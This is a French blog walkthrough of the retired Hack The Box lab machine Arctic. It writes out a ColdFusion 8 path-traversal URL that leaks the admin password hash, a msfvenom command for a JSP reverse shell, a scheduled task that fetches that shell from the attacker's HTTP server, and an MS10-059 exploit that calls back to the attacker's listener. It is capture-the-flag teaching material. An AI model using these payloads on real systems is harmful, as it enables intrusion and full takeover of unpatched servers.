Article original : Keep Calm and Hack The Box - Arctic

Hack The Box (HTB) est une plateforme en ligne qui vous permet de tester vos compétences en tests d'intrusion. Elle contient plusieurs défis qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent davantage vers un style de défi CTF.

Note. Seuls les write-ups des machines HTB retirées sont autorisés.

Image

Arctic est une machine de niveau débutant, cependant les temps de chargement sur le serveur web posent quelques défis pour l'exploitation. Un dépannage de base est nécessaire pour faire fonctionner correctement l'exploit.

Nous allons utiliser les outils suivants pour pirater la machine sur une boîte Kali Linux

  • nmap
  • Searchsploit
  • hash-identifier
  • MSFvenom
  • netcat
  • GDSSecurity/Windows-Exploit-Suggester
  • serveur http python
  • powershell

Étape 1 - Reconnaissance

La première étape avant d'exploiter une machine est de faire un peu de scanning et de reconnaissance.

C'est l'une des parties les plus importantes car elle déterminera ce que vous pouvez essayer d'exploiter par la suite. Il est toujours préférable de passer plus de temps sur cette phase pour obtenir autant d'informations que possible.

Scanning des ports

J'utiliserai Nmap (Network Mapper). Nmap est un utilitaire gratuit et open source pour la découverte de réseaux et l'audit de sécurité. Il utilise des paquets IP bruts pour déterminer quels hôtes sont disponibles sur le réseau, quels services ces hôtes offrent, quels systèmes d'exploitation ils exécutent, quel type de filtres de paquets/pare-feu sont utilisés, et des dizaines d'autres caractéristiques.

Il existe de nombreuses commandes que vous pouvez utiliser avec cet outil pour scanner le réseau. Si vous souhaitez en savoir plus, vous pouvez consulter la documentation ici.

Image

J'utilise la commande suivante pour effectuer un scan intensif :

nmap -A -v 10.10.10.11

-A : Active la détection du système d'exploitation, la détection de version, le scanning de scripts et le traceroute

-v : Augmente le niveau de verbosité

10.10.10.11 : Adresse IP de la boîte Arctic

Si vous trouvez les résultats un peu trop écrasants, vous pouvez faire une autre commande pour obtenir uniquement les ports ouverts.

nmap 10.10.10.11

Image

Nous pouvons voir qu'il y a 3 ports ouverts :

Port 135. Microsoft EPMAP (End Point Mapper), également connu sous le nom de service DCE/RPC Locator, utilisé pour gérer à distance des services incluant le serveur DHCP, le serveur DNS et WINS

Port 8500. Serveur web intégré Adobe ColdFusion

Image

Port 49154. Gestion des certificats via CMS

Pour l'instant, Adobe ColdFusion, qui s'exécute sur le port 8500, sera la cible principale.

Étape 2 - Énumération

Essayons le port 8500 et visitons http://10.10.10.11:8500

Image

Nous pouvons voir deux dossiers. J'ouvre le dossier CFIDE.

Image

Il semble que ce soit une application web avec un panneau d'administration ColdFusion à l'adresse suivante :

10.10.10.11:8500/CFIDE/administrator/

Pour plus d'informations sur ColdFusion, consultez ici.

Image

J'utilise Searchsploit pour vérifier s'il y a des vulnérabilités connues sur ColdFusion. Searchsploit est un outil de recherche en ligne de commande pour Exploit Database.

Image

J'utilise la commande suivante :

searchsploit coldfusion

Nous pouvons également trouver l'exploit sur le site web de l'Exploit Database :

Image https://www.exploit-db.com/exploits/14641

Je regarde la description de l'exploit :

Image

Et je remplace la partie server par 10.10.10.11:8500

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

Je peux voir que le mot de passe haché est maintenant visible sur la page entre les inputs :

Image

J'utilise hash-identifier pour identifier le possible hash. hash-identifier est un logiciel pour identifier les différents types de hachages utilisés pour crypter des données et surtout des mots de passe. Vous pouvez trouver plus d'informations ici.

Je lance hash-identifier avec la commande suivante :

hash-identifier

et je copie/colle le mot de passe haché que j'ai obtenu précédemment :

Image

Nous voyons que le hash est très probablement un SHA-1.

Étape 3 - Casser SHA 1 avec hashtoolkit.com

Je vais sur le site hashtoolkit pour "déchiffrer" le hash. Les fonctions de hachage sont conçues de manière à ce qu'il soit très facile de générer un hash / empreinte pour un texte, mais presque impossible de décoder le hash pour retrouver le texte original.

Il est important de noter que le hachage est un mécanisme à sens unique. Ainsi, les données qui ont été hachées ne peuvent pas être inversées de manière pratique ou être "déchiffrées".

Le site utilise des tables arc-en-ciel pour inverser les fonctions de hachage cryptographiques, généralement pour casser les hachages de mots de passe. Plus d'informations sur les tables arc-en-ciel ici.

Je copie/colle le hash et j'obtiens le mot de passe : happyday.

Image

Vous pouvez également voir les différents hachages pour ce même mot de passe :

Image

Actuellement, le site a presque 17 milliards de hachages de mots de passe MD5 et SHA1 déchiffrés :

Image

Étape 4 - Créer une tâche planifiée

J'utilise le mot de passe pour me connecter au portail :

Image

Je peux voir une zone dans la barre latérale gauche qui devrait permettre les téléchargements via les tâches planifiées sous la catégorie Debugging & Logging :

Image

Je peux créer une nouvelle tâche :

Image

Sur la page, je devrai configurer la tâche avec les différents paramètres :

Image

Je vérifie les Mappings pour voir le chemin CFIDE - l'un des deux dossiers que nous avons trouvés au début - et savoir où je peux sauvegarder le shell :

Image

Je vais utiliser msfvenom, qui est un générateur de charge utile, pour créer l'exploit - et plus spécifiquement un jsp reverse shell. Cette information a été collectée pendant la phase de reconnaissance - en regardant la page wikipedia de ColdFusion, nous pouvons voir qu'il est écrit en Java :

Image

Vous pouvez en savoir plus sur msfvenom ici.

Image

J'utilise la commande suivante pour créer la charge utile :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.51 LPORT=443 -f raw > arcticshell.jsp

-p : Charge utile à utiliser

-f : Format de sortie

LHOST : Hôte local

LPORT : Port local

J'ai sauvegardé l'exploit sous arcticshell.jsp. Je peux voir le contenu de la charge utile avec la commande suivante :

cat arcticshell.jsp

Image

Lançons un serveur Python pour servir le fichier depuis Kali. J'utiliserai le SimpleHTTPServer. Le module SimpleHTTPServer qui vient avec Python est un serveur HTTP simple qui fournit des gestionnaires de requêtes GET et HEAD standard. Vous pouvez en savoir plus à ce sujet ici.

J'utilise la commande suivante pour créer un serveur simple :

python -m SimpleHTTPServer 80

Image

De retour sur le panneau ColdFusion, je configure les paramètres suivants pour la tâche planifiée.

Tout d'abord, je configure l'URL vers notre serveur web qui héberge le shell que nous avons créé avec msfvenom :

http://10.10.14.51/arcticshell.jsp

Ensuite, je coche la case pour sauvegarder la sortie dans un fichier.

Enfin, je définis le fichier vers le chemin suivant :

C:\ColdFusion8\wwwroot\CFIDE\arcticshell.jsp

Voici ce que j'ai après avoir configuré tous les paramètres :

Image

Sous les Actions sur le côté gauche, je clique sur le premier bouton pour exécuter la tâche. Je peux voir un message vert en haut de la page pour me dire que la tâche planifiée a été complétée avec succès :

Image

Je peux également voir une réponse 200 sur mon serveur http python :

Image

Je configure un écouteur Ncat sur le port 443 pour attraper la connexion du reverse shell.

Ncat est un utilitaire réseau riche en fonctionnalités qui lit et écrit des données à travers les réseaux depuis la ligne de commande. Ncat a été écrit pour le projet Nmap comme une réimplémentation grandement améliorée du vénérable Netcat. Il utilise à la fois TCP et UDP pour la communication et est conçu pour être un outil back-end fiable pour fournir instantanément une connectivité réseau à d'autres applications et utilisateurs.

Vous pouvez en savoir plus sur Ncat ici.

Image

Je me rends ensuite à l'adresse du shell :

http://10.10.10.11:8500/CFIDE/arcticshell.jsp

Image

J'ai enfin obtenu un shell !

Image

Étape 5 - Recherche du flag user.txt

Je vérifie qui je suis sur la machine avec la commande

whoami

Image

Je liste les fichiers/dossiers avec

dir

Je navigue vers Users

Image

Ensuite, je me déplace vers le dossier tolis

Image

Je navigue vers le Bureau

Image

Et je trouve le fichier user.txt !

Image

Pour lire le contenu du fichier, j'utilise la commande

more user.txt

Image

Étape 6 - Utilisation de GDSSecurity/Windows-Exploit-Suggester

Je regarde les informations système avec la commande

systeminfo

Image

Je copie/colle les résultats dans un fichier systeminfo.txt :

Image

J'utiliserai Windows-Exploit-Suggester de GDSSecurity :

Cet outil compare les niveaux de correctifs d'une cible avec la base de données des vulnérabilités Microsoft afin de détecter les correctifs potentiellement manquants sur la cible. Il notifie également l'utilisateur s'il existe des exploits publics et des modules Metasploit disponibles pour les bulletins manquants.

Il nécessite la sortie de la commande 'systeminfo' d'un hôte Windows afin de comparer cela avec la base de données des bulletins de sécurité Microsoft et de déterminer le niveau de correctifs de l'hôte.

Il a la capacité de télécharger automatiquement la base de données des bulletins de sécurité de Microsoft avec le drapeau --update, et de la sauvegarder sous forme de feuille de calcul Excel.

Je copie/colle le script python brut windows-exploit-suggester dans un fichier puis je modifie le fichier

nano windows-exploit-suggester.py

pour coller le code depuis le dépôt GitHub. Nous avons maintenant nos 2 fichiers dans le même dossier, systeminfo.txt et windows-exploit-suggester.py :

Image

Je peux en savoir plus sur cet outil avec la commande suivante :

python windows-exploit-suggester.py -h

Image

Je mets à jour la base de données de l'outil avec la commande suivante :

python windows-exploit-suggester.py --update

Image

J'exécute le script avec

python windows-exploit-suggester.py --systeminfo systeminfo.txt --database 2020-02-25-mssb.xls

Si vous rencontrez une erreur, vous devrez installer pip avant d'installer xlrd. Vous pouvez installer pip sur Kali avec la commande suivante :

apt install python-pip

Image

Ensuite, vous pouvez installer xlrd avec la commande

pip install xlrd

Image

Je peux voir qu'il y a plusieurs CVEs manquants sur cette machine. Je vais cibler la vulnérabilité MS10-059 :

Image

Étape 7 - Exécution de l'élévation de privilèges

Je regarde le site Microsoft pour obtenir plus d'informations depuis leur Bulletin de Sécurité :

Image https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-059

Je regarde la base de données Exploit Database :

Image https://www.exploit-db.com/exploits/14610

Je regarde également la base de données des vulnérabilités nationales. Plus d'informations sur NVD ici.

Image https://nvd.nist.gov/vuln/detail/CVE-2010-2554

Je trouve un exécutable sur GitHub ici que je peux télécharger. L'exploit créera un reverse shell.

Je crée un nouveau serveur http python avec

python -m SimpleHTTPServer 80

De retour sur le shell où j'ai obtenu le flag utilisateur, je configure un client web avec l'URL de l'exploit et le fichier où l'exploit sera sauvegardé :

Image

Image

Image

Image

Image

J'obtiens un 200 sur le serveur http python :

Image

Je configure un nouveau netcat et lance l'exploit avec la commande suivante :

exploit.exe 10.10.14.20 443

Image

Image

Étape 8 - Recherche du flag root.txt

Je peux voir que l'élévation de privilèges a réussi en vérifiant qui je suis sur la machine :

whoami

Cela retourne

nt authority\system

Je suis admin :

Image

Je navigue vers Users :

Image

Je me déplace vers le dossier Administrator :

Image

Je navigue vers le dossier Desktop :

Image

Je peux voir le flag root.txt !

Image

J'utilise la commande suivante pour voir le contenu du fichier :

more root.txt

Image

Félicitations ! Vous avez trouvé les deux flags !

N'hésitez pas à commenter, poser des questions ou partager avec vos amis :)

Vous pouvez voir plus de mes articles ici

Vous pouvez me suivre sur Twitter ou sur LinkedIn

Et n'oubliez pas de #GetSecure, #BeSecure & #StaySecure !

Autres articles Hack The Box

Image